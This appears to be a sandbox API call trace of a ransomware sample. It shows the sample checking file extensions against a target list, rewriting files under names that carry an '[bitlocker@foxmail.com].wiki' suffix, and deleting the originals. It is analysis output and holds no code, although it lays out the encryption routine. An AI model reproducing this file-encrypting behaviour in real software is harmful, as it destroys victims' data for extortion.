[0200.071] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0200.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196060.WMF") returned 63 [0200.072] lstrlenW (lpString=".1cd") returned 4 [0200.072] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0200.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196060.WMF") returned 63 [0200.072] lstrlenW (lpString=".jpg") returned 4 [0200.072] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0200.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196060.WMF") returned 63 [0200.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196060.WMF") returned 63 [0200.072] lstrlenW (lpString=".doc") returned 4 [0200.072] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0200.072] lstrlenW (lpString=".docx") returned 5 [0200.072] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0200.072] lstrlenW (lpString=".pdf") returned 4 [0200.072] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0200.072] lstrlenW (lpString=".xls") returned 4 [0200.072] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0200.072] lstrlenW (lpString=".xlsx") returned 5 [0200.072] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0200.072] lstrlenW (lpString=".ppt") returned 4 [0200.072] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0200.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196060.WMF") returned 63 [0200.072] lstrlenW (lpString=".zip") returned 4 [0200.072] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0200.072] lstrlenW (lpString=".rar") returned 4 [0200.072] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0200.072] lstrlenW (lpString=".bz2") returned 4 [0200.072] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0200.072] lstrlenW (lpString=".7z") returned 3 [0200.072] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0200.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196060.WMF") returned 63 [0200.073] lstrlenW (lpString=".dbf") returned 4 [0200.073] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0200.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196060.WMF") returned 63 [0200.073] lstrlenW (lpString=".1cd") returned 4 [0200.073] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0200.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196060.WMF") returned 63 [0200.073] lstrlenW (lpString=".jpg") returned 4 [0200.073] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0200.073] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0200.073] lstrlenW (lpString="J0196110.WMF") returned 12 [0200.073] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196110.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196110.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0200.073] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=5326) returned 1 [0200.074] CloseHandle (hObject=0x1e4) returned 1 [0200.074] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196110.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196110.wmf")) returned 0x20 [0200.074] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196110.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196110.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0200.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196110.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196110.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0200.074] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0200.074] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0200.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196110.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196110.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0200.074] GetLastError () returned 0x0 [0200.074] ReadFile (in: hFile=0x1e4, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x14ce, lpOverlapped=0x0) returned 1 [0200.076] WriteFile (in: hFile=0x17c, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x14d0, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x14d0, lpOverlapped=0x0) returned 1 [0200.077] ReadFile (in: hFile=0x1e4, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0200.077] WriteFile (in: hFile=0x17c, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0200.077] SetEndOfFile (hFile=0x17c) returned 1 [0200.077] CloseHandle (hObject=0x17c) returned 1 [0200.077] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0200.077] SetEndOfFile (hFile=0x1e4) returned 1 [0200.078] CloseHandle (hObject=0x1e4) returned 1 [0200.078] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196110.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0200.078] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196110.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196110.wmf")) returned 1 [0200.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196110.WMF") returned 63 [0200.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196110.WMF") returned 63 [0200.078] lstrlenW (lpString=".doc") returned 4 [0200.078] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0200.079] lstrlenW (lpString=".docx") returned 5 [0200.079] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0200.079] lstrlenW (lpString=".pdf") returned 4 [0200.079] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0200.079] lstrlenW (lpString=".xls") returned 4 [0200.079] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0200.079] lstrlenW (lpString=".xlsx") returned 5 [0200.079] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0200.079] lstrlenW (lpString=".ppt") returned 4 [0200.079] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0200.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196110.WMF") returned 63 [0200.079] lstrlenW (lpString=".zip") returned 4 [0200.079] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0200.079] lstrlenW (lpString=".rar") returned 4 [0200.079] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0200.079] lstrlenW (lpString=".bz2") returned 4 [0200.079] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0200.079] lstrlenW (lpString=".7z") returned 3 [0200.079] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0200.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196110.WMF") returned 63 [0200.079] lstrlenW (lpString=".dbf") returned 4 [0200.079] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0200.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196110.WMF") returned 63 [0200.079] lstrlenW (lpString=".1cd") returned 4 [0200.079] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0200.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196110.WMF") Thread: id = 406 os_tid = 0x614 [0182.578] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10000) returned 0x670228 [0182.579] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10000) returned 0x680230 [0182.579] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x638818 [0182.579] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x6) returned 0x636e80 [0182.579] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x6387d0 [0182.579] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x100000) returned 0x39e0020 [0182.579] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x6387a0 [0182.579] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x6387a0, Size=0x20) returned 0x633b20 [0182.579] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x6387a0 [0182.580] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x6387a0, Size=0x20) returned 0x633aa8 [0182.580] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x762e0000 [0182.580] GetProcAddress (hModule=0x762e0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7630d650 [0182.580] Wow64DisableWow64FsRedirection (in: OldValue=0x2ecff58 | out: OldValue=0x2ecff58*=0x0) returned 1 [0182.580] lstrlenW (lpString="kernel32.dll") returned 12 [0182.580] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x633b20 | out: hHeap=0x5c0000) returned 1 [0182.580] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0182.580] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x633aa8 | out: hHeap=0x5c0000) returned 1 [0182.580] Sleep (dwMilliseconds=0x64) [0182.801] Sleep (dwMilliseconds=0x64) [0183.034] Sleep (dwMilliseconds=0x64) [0183.418] Sleep (dwMilliseconds=0x64) [0183.837] Sleep (dwMilliseconds=0x64) [0184.077] Sleep (dwMilliseconds=0x64) [0184.380] lstrcmpiW (lpString1=".png", lpString2=".wiki") returned -1 [0184.380] lstrlenW (lpString="NavigationLeft_ButtonGraphic.png") returned 32 [0184.380] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationleft_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0184.720] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=5088) returned 1 [0184.720] CloseHandle (hObject=0x1e4) returned 1 [0184.720] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationleft_buttongraphic.png")) returned 0x20 [0184.720] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_ButtonGraphic.png.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationleft_buttongraphic.png.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0184.720] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0184.720] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_ButtonGraphic.png") returned 87 [0184.720] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_ButtonGraphic.png") returned 87 [0184.720] lstrlenW (lpString=".doc") returned 4 [0184.720] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0184.721] lstrlenW (lpString=".docx") returned 5 [0184.721] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0184.721] lstrlenW (lpString=".pdf") returned 4 [0184.721] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0184.721] lstrlenW (lpString=".xls") returned 4 [0184.721] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0184.721] lstrlenW (lpString=".xlsx") returned 5 [0184.721] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0184.721] lstrlenW (lpString=".ppt") returned 4 [0184.721] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0184.721] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_ButtonGraphic.png") returned 87 [0184.721] lstrlenW (lpString=".zip") returned 4 [0184.721] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0184.721] lstrlenW (lpString=".rar") returned 4 [0184.721] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0184.721] lstrlenW (lpString=".bz2") returned 4 [0184.721] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0184.721] lstrlenW (lpString=".7z") returned 3 [0184.721] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0184.721] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_ButtonGraphic.png") returned 87 [0184.721] lstrlenW (lpString=".dbf") returned 4 [0184.721] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0184.721] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_ButtonGraphic.png") returned 87 [0184.721] lstrlenW (lpString=".1cd") returned 4 [0184.721] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0184.721] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_ButtonGraphic.png") returned 87 [0184.721] lstrlenW (lpString=".jpg") returned 4 [0184.721] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0184.721] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_ButtonGraphic.png") returned 87 [0184.721] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_ButtonGraphic.png") returned 87 [0184.722] lstrlenW (lpString=".doc") returned 4 [0184.722] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0184.722] lstrlenW (lpString=".docx") returned 5 [0184.722] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0184.722] lstrlenW (lpString=".pdf") returned 4 [0184.722] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0184.722] lstrlenW (lpString=".xls") returned 4 [0184.722] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0184.722] lstrlenW (lpString=".xlsx") returned 5 [0184.722] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0184.722] lstrlenW (lpString=".ppt") returned 4 [0184.722] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0184.722] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_ButtonGraphic.png") returned 87 [0184.722] lstrlenW (lpString=".zip") returned 4 [0184.722] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0184.722] lstrlenW (lpString=".rar") returned 4 [0184.722] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0184.722] lstrlenW (lpString=".bz2") returned 4 [0184.722] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0184.722] lstrlenW (lpString=".7z") returned 3 [0184.722] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0184.722] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_ButtonGraphic.png") returned 87 [0184.722] lstrlenW (lpString=".dbf") returned 4 [0184.722] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0184.722] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_ButtonGraphic.png") returned 87 [0184.722] lstrlenW (lpString=".1cd") returned 4 [0184.722] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0184.722] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_ButtonGraphic.png") returned 87 [0184.722] lstrlenW (lpString=".jpg") returned 4 [0184.722] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0184.723] lstrcmpiW (lpString1=".png", lpString2=".wiki") returned -1 [0184.723] lstrlenW (lpString="203x8subpicture.png") returned 19 [0184.723] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\203x8subpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0184.761] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=2820) returned 1 [0184.761] CloseHandle (hObject=0x1e8) returned 1 [0184.761] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\203x8subpicture.png")) returned 0x20 [0184.761] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\203x8subpicture.png.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\203x8subpicture.png.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0184.761] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\203x8subpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0184.761] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\203x8subpicture.png") returned 78 [0184.761] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\203x8subpicture.png") returned 78 [0184.761] lstrlenW (lpString=".doc") returned 4 [0184.761] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0184.761] lstrlenW (lpString=".docx") returned 5 [0184.761] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0184.761] lstrlenW (lpString=".pdf") returned 4 [0184.761] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0184.761] lstrlenW (lpString=".xls") returned 4 [0184.761] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0184.761] lstrlenW (lpString=".xlsx") returned 5 [0184.761] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0184.761] lstrlenW (lpString=".ppt") returned 4 [0184.761] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0184.761] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\203x8subpicture.png") returned 78 [0184.762] lstrlenW (lpString=".zip") returned 4 [0184.762] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0184.762] lstrlenW (lpString=".rar") returned 4 [0184.762] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0184.762] lstrlenW (lpString=".bz2") returned 4 [0184.762] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0184.762] lstrlenW (lpString=".7z") returned 3 [0184.762] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0184.762] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\203x8subpicture.png") returned 78 [0184.762] lstrlenW (lpString=".dbf") returned 4 [0184.762] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0184.762] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\203x8subpicture.png") returned 78 [0184.762] lstrlenW (lpString=".1cd") returned 4 [0184.762] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0184.762] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\203x8subpicture.png") returned 78 [0184.762] lstrlenW (lpString=".jpg") returned 4 [0184.762] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0184.762] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\203x8subpicture.png") returned 78 [0184.762] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\203x8subpicture.png") returned 78 [0184.762] lstrlenW (lpString=".doc") returned 4 [0184.762] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0184.762] lstrlenW (lpString=".docx") returned 5 [0184.762] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0184.762] lstrlenW (lpString=".pdf") returned 4 [0184.762] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0184.762] lstrlenW (lpString=".xls") returned 4 [0184.762] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0184.762] lstrlenW (lpString=".xlsx") returned 5 [0184.762] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0184.762] lstrlenW (lpString=".ppt") returned 4 [0184.762] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0184.762] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\203x8subpicture.png") returned 78 [0184.762] lstrlenW (lpString=".zip") returned 4 [0184.763] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0184.763] lstrlenW (lpString=".rar") returned 4 [0184.763] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0184.763] lstrlenW (lpString=".bz2") returned 4 [0184.763] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0184.763] lstrlenW (lpString=".7z") returned 3 [0184.763] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0184.763] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\203x8subpicture.png") returned 78 [0184.763] lstrlenW (lpString=".dbf") returned 4 [0184.763] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0184.763] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\203x8subpicture.png") returned 78 [0184.763] lstrlenW (lpString=".1cd") returned 4 [0184.763] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0184.763] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\203x8subpicture.png") returned 78 [0184.763] lstrlenW (lpString=".jpg") returned 4 [0184.763] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0184.763] lstrcmpiW (lpString1=".png", lpString2=".wiki") returned -1 [0184.763] lstrlenW (lpString="16_9-frame-highlight.png") returned 24 [0184.763] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\16_9-frame-highlight.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0185.138] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=1545) returned 1 [0185.138] CloseHandle (hObject=0x1e8) returned 1 [0185.138] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\16_9-frame-highlight.png")) returned 0x20 [0185.138] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-highlight.png.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\16_9-frame-highlight.png.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0185.138] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\16_9-frame-highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0185.138] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-highlight.png") returned 75 [0185.138] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-highlight.png") returned 75 [0185.138] lstrlenW (lpString=".doc") returned 4 [0185.138] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0185.138] lstrlenW (lpString=".docx") returned 5 [0185.138] lstrcmpiW (lpString1=".docx", lpString2="t.png") returned -1 [0185.138] lstrlenW (lpString=".pdf") returned 4 [0185.138] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0185.138] lstrlenW (lpString=".xls") returned 4 [0185.138] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0185.138] lstrlenW (lpString=".xlsx") returned 5 [0185.138] lstrcmpiW (lpString1=".xlsx", lpString2="t.png") returned -1 [0185.138] lstrlenW (lpString=".ppt") returned 4 [0185.138] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0185.139] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-highlight.png") returned 75 [0185.139] lstrlenW (lpString=".zip") returned 4 [0185.139] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0185.139] lstrlenW (lpString=".rar") returned 4 [0185.139] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0185.139] lstrlenW (lpString=".bz2") returned 4 [0185.139] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0185.139] lstrlenW (lpString=".7z") returned 3 [0185.139] lstrcmpiW 